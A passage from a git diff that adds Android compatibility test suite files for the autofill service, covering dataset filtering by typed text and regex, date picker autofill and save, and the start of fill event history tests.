+import org.junit.rules.RuleChain;
+import org.junit.rules.TestRule;
+
+import java.util.regex.Pattern;
+
+public abstract class DatasetFilteringTest extends AbstractLoginActivityTestCase {
+
+    protected DatasetFilteringTest() {
+    }
+
+    protected DatasetFilteringTest(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    @Override
+    protected TestRule getMainTestRule() {
+        return RuleChain.outerRule(new MaxVisibleDatasetsRule(4))
+                        .around(super.getMainTestRule());
+    }
+
+
+    private void changeUsername(CharSequence username) {
+        mActivity.onUsername((v) -> v.setText(username));
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+
+        // Delete some text to bring back 2 datasets
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown again
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter_injectingEvents() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        sendKeyEvent("KEYCODE_DEL");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        sendKeyEvent("KEYCODE_DEL");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        sendKeyEvent("KEYCODE_A");
+        sendKeyEvent("KEYCODE_A");
+        sendKeyEvent("KEYCODE_A");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Presubmit
+    @Test
+    public void testFilter_usingKeyboard() throws Exception {
+        final MockImeSession mockImeSession = sMockImeSessionRule.getMockImeSession();
+        assumeTrue("MockIME not available", mockImeSession != null);
+
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        final ImeEventStream stream = mockImeSession.openEventStream();
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Wait until the MockIme gets bound to the TestActivity.
+        expectBindInput(stream, Process.myPid(), MOCK_IME_TIMEOUT_MS);
+        expectEvent(stream, editorMatcher("onStartInput", mActivity.getUsername().getId()),
+                MOCK_IME_TIMEOUT_MS);
+
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        final ImeCommand cmd1 = mockImeSession.callCommitText("a", 1);
+        expectCommand(stream, cmd1, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        final ImeCommand cmd2 = mockImeSession.callCommitText("a", 1);
+        expectCommand(stream, cmd2, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        final ImeCommand cmd3 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
+        expectCommand(stream, cmd3, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        final ImeCommand cmd4 = mockImeSession.callSendDownUpKeyEvents(KeyEvent.KEYCODE_DEL);
+        expectCommand(stream, cmd4, MOCK_IME_TIMEOUT_MS);
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final ImeCommand cmd5 = mockImeSession.callCommitText("aaa", 1);
+        expectCommand(stream, cmd5, MOCK_IME_TIMEOUT_MS);
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_nullValuesAlwaysMatched() throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null)
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Two datasets start with 'a' and one with null value always shown
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // One dataset start with 'aa' and one with null value always shown
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa, b);
+
+        // Two datasets start with 'a' and one with null value always shown
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa' and one with null value always shown
+        changeUsername("aaa");
+        mUiBot.assertDatasets(b);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_differentPrefixes() throws Exception {
+        final String a = "aaa";
+        final String b = "bra";
+        final String c = "cadabra";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, a)
+                        .setPresentation(a, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, b)
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, c)
+                        .setPresentation(c, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(a, b, c);
+
+        changeUsername("a");
+        mUiBot.assertDatasets(a);
+
+        changeUsername("b");
+        mUiBot.assertDatasets(b);
+
+        changeUsername("c");
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(c);
+        }
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_usingRegex() throws Exception {
+        // Dataset presentations.
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatever", Pattern.compile("a|aa"))
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatsoever",
+                                Pattern.compile("a|ab"))
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, (String) null, Pattern.compile("b"))
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Only one dataset start with 'aa'
+        changeUsername("aa");
+        mUiBot.assertDatasets(aa);
+
+        // Only two datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_disabledUsingNullRegex() throws Exception {
+        // Dataset presentations.
+        final String unfilterable = "Unfilterabled";
+        final String aOrW = "A or W";
+        final String w = "Wazzup";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                // This dataset has a value but filter is disabled
+                .addDataset(new CannedDataset.Builder()
+                        .setUnfilterableField(ID_USERNAME, "a am I")
+                        .setPresentation(unfilterable, isInlineMode())
+                        .build())
+                // This dataset uses pattern to filter
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "whatsoever",
+                                Pattern.compile("a|aw"))
+                        .setPresentation(aOrW, isInlineMode())
+                        .build())
+                // This dataset uses value to filter
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "wazzup")
+                        .setPresentation(w, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(unfilterable, aOrW, w);
+
+        // Only one dataset start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aOrW);
+
+        // No dataset starts with 'aa'
+        changeUsername("aa");
+        mUiBot.assertNoDatasets();
+
+        // Only one datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(aOrW);
+
+        // With no filter text all datasets should be shown
+        changeUsername("");
+        mUiBot.assertDatasets(unfilterable, aOrW, w);
+
+        // Only one datasets start with 'w'
+        changeUsername("w");
+        if (!isInlineMode()) { // With inline, we don't show the datasets now to protect privacy.
+            mUiBot.assertDatasets(w);
+        }
+
+        // No dataset start with 'aaa'
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        changeUsername("aaa");
+        callback.assertUiHiddenEvent(mActivity.getUsername());
+        mUiBot.assertNoDatasets();
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_mixPlainAndRegex() throws Exception {
+        final String plain = "Plain";
+        final String regexPlain = "RegexPlain";
+        final String authRegex = "AuthRegex";
+        final String kitchnSync = "KitchenSync";
+        final Pattern everything = Pattern.compile(".*");
+
+        enableService();
+
+        // Set expectations.
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .build());
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aword")
+                        .setPresentation(plain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "a ignore", everything)
+                        .setPresentation(regexPlain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore", everything)
+                        .setAuthentication(authentication)
+                        .setPresentation(authRegex, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore",
+                                everything)
+                        .setPresentation(kitchnSync, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // All datasets start with 'a'
+        changeUsername("a");
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // Only the regex datasets should start with 'ab'
+        changeUsername("ab");
+        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter_usingKeyboard() is enough")
+    public void testFilter_mixPlainAndRegex_usingKeyboard() throws Exception {
+        final String plain = "Plain";
+        final String regexPlain = "RegexPlain";
+        final String authRegex = "AuthRegex";
+        final String kitchnSync = "KitchenSync";
+        final Pattern everything = Pattern.compile(".*");
+
+        enableService();
+
+        // Set expectations.
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .build());
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aword")
+                        .setPresentation(plain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "a ignore", everything)
+                        .setPresentation(regexPlain, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore", everything)
+                        .setAuthentication(authentication)
+                        .setPresentation(authRegex, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab ignore",
+                                everything)
+                        .setPresentation(kitchnSync, isInlineMode())
+                        .build())
+                .build());
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // All datasets start with 'a'
+        sendKeyEvent("KEYCODE_A");
+        mUiBot.assertDatasets(plain, regexPlain, authRegex, kitchnSync);
+
+        // Only the regex datasets should start with 'ab'
+        sendKeyEvent("KEYCODE_B");
+        mUiBot.assertDatasets(regexPlain, authRegex, kitchnSync);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseFirst() throws Exception {
+        resetFilterTest(1);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseSecond() throws Exception {
+        resetFilterTest(2);
+    }
+
+    @Test
+    @AppModeFull(reason = "testFilter() is enough")
+    public void testFilter_resetFilter_chooseThird() throws Exception {
+        resetFilterTest(3);
+    }
+
+    // Tests that datasets are re-shown and filtering still works after clearing a selected value.
+    private void resetFilterTest(int number) throws Exception {
+        final String aa = "Two A's";
+        final String ab = "A and B";
+        final String b = "Only B";
+
+        enableService();
+
+        // Set expectations.
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "aa")
+                        .setPresentation(aa, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "ab")
+                        .setPresentation(ab, isInlineMode())
+                        .build())
+                .addDataset(new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "b")
+                        .setPresentation(b, isInlineMode())
+                        .build())
+                .build());
+
+        final String chosenOne;
+        switch (number) {
+            case 1:
+                chosenOne = aa;
+                mActivity.expectAutoFill("aa");
+                break;
+            case 2:
+                chosenOne = ab;
+                mActivity.expectAutoFill("ab");
+                break;
+            case 3:
+                chosenOne = b;
+                mActivity.expectAutoFill("b");
+                break;
+            default:
+                throw new IllegalArgumentException("invalid dataset number: " + number);
+        }
+
+        final MyAutofillCallback callback = mActivity.registerCallback();
+        final EditText username = mActivity.getUsername();
+
+        // Trigger auto-fill.
+        mUiBot.selectByRelativeId(ID_USERNAME);
+        callback.assertUiShownEvent(username);
+
+        sReplier.getNextFillRequest();
+
+        // With no filter text all datasets should be shown
+        mUiBot.assertDatasets(aa, ab, b);
+
+        // select the choice
+        mUiBot.selectDataset(chosenOne);
+        callback.assertUiHiddenEvent(username);
+        mUiBot.assertNoDatasets();
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Change the filled text and check that filtering still works.
+        changeUsername("a");
+        mUiBot.assertDatasets(aa, ab);
+
+        // Reset back to all choices
+        changeUsername("");
+        mUiBot.assertDatasets(aa, ab, b);
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java
new file mode 100644
index 0000000..754f670
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/DatePickerTestCase.java
@@ -0,0 +1,95 @@
+/*
+ * Copyright (C) 2017 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_DATE_PICKER;
+import static android.autofillservice.cts.activities.AbstractDatePickerActivity.ID_OUTPUT;
+import static android.autofillservice.cts.testcore.Helper.assertDateValue;
+import static android.autofillservice.cts.testcore.Helper.assertNumberOfChildren;
+import static android.autofillservice.cts.testcore.Helper.assertTextAndValue;
+import static android.autofillservice.cts.testcore.Helper.assertTextIsSanitized;
+import static android.autofillservice.cts.testcore.Helper.findNodeByResourceId;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AbstractDatePickerActivity;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.FillRequest;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService.SaveRequest;
+import android.icu.util.Calendar;
+
+import org.junit.Test;
+
+/**
+ * Base class for {@link AbstractDatePickerActivity} tests.
+ */
+public abstract class DatePickerTestCase<A extends AbstractDatePickerActivity>
+        extends AutoFillServiceTestCase.AutoActivityLaunch<A> {
+
+    protected A mActivity;
+
+    @Test
+    public void testAutoFillAndSave() throws Exception {
+        assertWithMessage("subclass did not set mActivity").that(mActivity).isNotNull();
+
+        // Set service.
+        enableService();
+
+        // Set expectations.
+        final Calendar cal = Calendar.getInstance();
+        cal.set(Calendar.YEAR, 2012);
+        cal.set(Calendar.MONTH, Calendar.DECEMBER);
+        cal.set(Calendar.DAY_OF_MONTH, 20);
+
+        sReplier.addResponse(new CannedFillResponse.Builder()
+                .addDataset(new CannedDataset.Builder()
+                    .setPresentation(createPresentation("The end of the world"))
+                    .setField(ID_OUTPUT, "Y U NO CHANGE ME?")
+                    .setField(ID_DATE_PICKER, cal.getTimeInMillis())
+                    .build())
+                .setRequiredSavableIds(SAVE_DATA_TYPE_GENERIC, ID_OUTPUT, ID_DATE_PICKER)
+                .build());
+        mActivity.expectAutoFill("2012/11/20", 2012, Calendar.DECEMBER, 20);
+
+        // Trigger auto-fill.
+        mActivity.onOutput((v) -> v.requestFocus());
+        final FillRequest fillRequest = sReplier.getNextFillRequest();
+
+        // Assert properties of DatePicker field.
+        assertTextIsSanitized(fillRequest.structure, ID_DATE_PICKER);
+        assertNumberOfChildren(fillRequest.structure, ID_DATE_PICKER, 0);
+
+        // Auto-fill it.
+        mUiBot.selectDataset("The end of the world");
+
+        // Check the results.
+        mActivity.assertAutoFilled();
+
+        // Trigger save.
+        mActivity.setDate(2010, Calendar.DECEMBER, 12);
+        mActivity.tapOk();
+
+        mUiBot.updateForAutofill(true, SAVE_DATA_TYPE_GENERIC);
+        final SaveRequest saveRequest = sReplier.getNextSaveRequest();
+        assertWithMessage("onSave() not called").that(saveRequest).isNotNull();
+
+        // Assert sanitization on save: everything should be available!
+        assertDateValue(findNodeByResourceId(saveRequest.structure, ID_DATE_PICKER), 2010, 11, 12);
+        assertTextAndValue(findNodeByResourceId(saveRequest.structure, ID_OUTPUT), "2010/11/12");
+    }
+}
diff --git a/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
new file mode 100644
index 0000000..a75ce80
--- /dev/null
+++ b/tests/autofillservice/src/android/autofillservice/cts/commontests/FillEventHistoryCommonTestCase.java
@@ -0,0 +1,783 @@
+/*
+ * Copyright (C) 2020 The Android Open Source Project
+ *
+ * Licensed under the Apache License, Version 2.0 (the "License");
+ * you may not use this file except in compliance with the License.
+ * You may obtain a copy of the License at
+ *
+ *      http://www.apache.org/licenses/LICENSE-2.0
+ *
+ * Unless required by applicable law or agreed to in writing, software
+ * distributed under the License is distributed on an "AS IS" BASIS,
+ * WITHOUT WARRANTIES OR CONDITIONS OF ANY KIND, either express or implied.
+ * See the License for the specific language governing permissions and
+ * limitations under the License.
+ */
+
+package android.autofillservice.cts.commontests;
+
+import static android.autofillservice.cts.activities.CheckoutActivity.ID_CC_NUMBER;
+import static android.autofillservice.cts.activities.LoginActivity.BACKDOOR_USERNAME;
+import static android.autofillservice.cts.activities.LoginActivity.getWelcomeMessage;
+import static android.autofillservice.cts.testcore.CannedFillResponse.DO_NOT_REPLY_RESPONSE;
+import static android.autofillservice.cts.testcore.CannedFillResponse.NO_RESPONSE;
+import static android.autofillservice.cts.testcore.Helper.ID_PASSWORD;
+import static android.autofillservice.cts.testcore.Helper.ID_USERNAME;
+import static android.autofillservice.cts.testcore.Helper.NULL_DATASET_ID;
+import static android.autofillservice.cts.testcore.Helper.assertDeprecatedClientState;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForAuthenticationSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetAuthenticationSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetSelected;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForDatasetShown;
+import static android.autofillservice.cts.testcore.Helper.assertFillEventForSaveShown;
+import static android.autofillservice.cts.testcore.Helper.assertNoDeprecatedClientState;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilConnected;
+import static android.autofillservice.cts.testcore.InstrumentedAutoFillService.waitUntilDisconnected;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_DATASET_MATCH;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_FIELD_VALIDATION_FAILED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_HAS_EMPTY_REQUIRED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_NO_SAVE_INFO;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_NO_VALUE_CHANGED;
+import static android.service.autofill.FillEventHistory.Event.NO_SAVE_REASON_WITH_DELAY_SAVE_FLAG;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_GENERIC;
+import static android.service.autofill.SaveInfo.SAVE_DATA_TYPE_PASSWORD;
+
+import static com.google.common.truth.Truth.assertThat;
+import static com.google.common.truth.Truth.assertWithMessage;
+
+import android.autofillservice.cts.activities.AuthenticationActivity;
+import android.autofillservice.cts.activities.CheckoutActivity;
+import android.autofillservice.cts.inline.InlineFillEventHistoryTest;
+import android.autofillservice.cts.testcore.CannedFillResponse;
+import android.autofillservice.cts.testcore.CannedFillResponse.CannedDataset;
+import android.autofillservice.cts.testcore.InstrumentedAutoFillService;
+import android.autofillservice.cts.testcore.UiBot;
+import android.content.Intent;
+import android.content.IntentSender;
+import android.os.Bundle;
+import android.platform.test.annotations.AppModeFull;
+import android.platform.test.annotations.Presubmit;
+import android.service.autofill.FillEventHistory;
+import android.service.autofill.FillEventHistory.Event;
+import android.service.autofill.FillResponse;
+import android.service.autofill.RegexValidator;
+import android.service.autofill.SaveInfo;
+import android.service.autofill.Validator;
+import android.view.View;
+import android.view.autofill.AutofillId;
+
+import org.junit.Test;
+
+import java.util.List;
+import java.util.concurrent.atomic.AtomicBoolean;
+import java.util.regex.Pattern;
+
+/**
+ * This is the common test cases with {@link FillEventHistoryTest} and
+ * {@link InlineFillEventHistoryTest}.
+ */
+@Presubmit
+@AppModeFull(reason = "Service-specific test")
+public abstract class FillEventHistoryCommonTestCase extends AbstractLoginActivityTestCase {
+
+    protected FillEventHistoryCommonTestCase() {}
+
+    protected FillEventHistoryCommonTestCase(UiBot inlineUiBot) {
+        super(inlineUiBot);
+    }
+
+    protected Bundle getBundle(String key, String value) {
+        final Bundle bundle = new Bundle();
+        bundle.putString(key, value);
+        return bundle;
+    }
+
+    @Test
+    public void testDatasetAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with dataset authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "dude")
+                        .setField(ID_PASSWORD, "sweet")
+                        .setPresentation("Dataset", isInlineMode())
+                        .build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().addDataset(
+                new CannedDataset.Builder()
+                        .setField(ID_USERNAME, "username")
+                        .setId("name")
+                        .setPresentation("authentication", isInlineMode())
+                        .setAuthentication(authentication)
+                        .build())
+                .setExtras(clientState).build());
+        mActivity.expectAutoFill("dude", "sweet");
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Authenticate
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("authentication");
+        mActivity.assertAutoFilled();
+
+        // Verify fill selection
+        final List<Event> events = InstrumentedAutoFillService.getFillEvents(2);
+        assertFillEventForDatasetShown(events.get(0), "clientStateKey", "clientStateValue");
+        assertFillEventForDatasetAuthenticationSelected(events.get(1), "name",
+                "clientStateKey", "clientStateValue");
+    }
+
+    @Test
+    public void testAuthenticationSelected() throws Exception {
+        enableService();
+
+        // Set up FillResponse with response wide authentication
+        Bundle clientState = new Bundle();
+        clientState.putCharSequence("clientStateKey", "clientStateValue");
+
+        // Prepare the authenticated response
+        final IntentSender authentication = AuthenticationActivity.createSender(mContext, 1,
+                new CannedFillResponse.Builder().addDataset(
+                        new CannedDataset.Builder()
+                                .setField(ID_USERNAME, "username")
+                                .setId("name")
+                                .setPresentation("dataset", isInlineMode())
+                                .build())
+                        .setExtras(clientState).build());
+
+        sReplier.addResponse(new CannedFillResponse.Builder().setExtras(clientState)
+                .setPresentation("authentication", isInlineMode())
+                .setAuthentication(authentication, ID_USERNAME)
+                .build());
+
+        // Trigger autofill and IME.
+        mUiBot.focusByRelativeId(ID_USERNAME);
+        mUiBot.waitForIdle();
+
+        // Authenticate
+        sReplier.getNextFillRequest();
+        mUiBot.selectDataset("authentication");
+        mUiBot.waitForIdle();
+        mUiBot.selectDataset("dataset");
+        mUiBot.waitForIdle();
+
+        // Verify fill selection
+        final FillEventHistory selection = InstrumentedAutoFillService.getFillEventHistory(4);
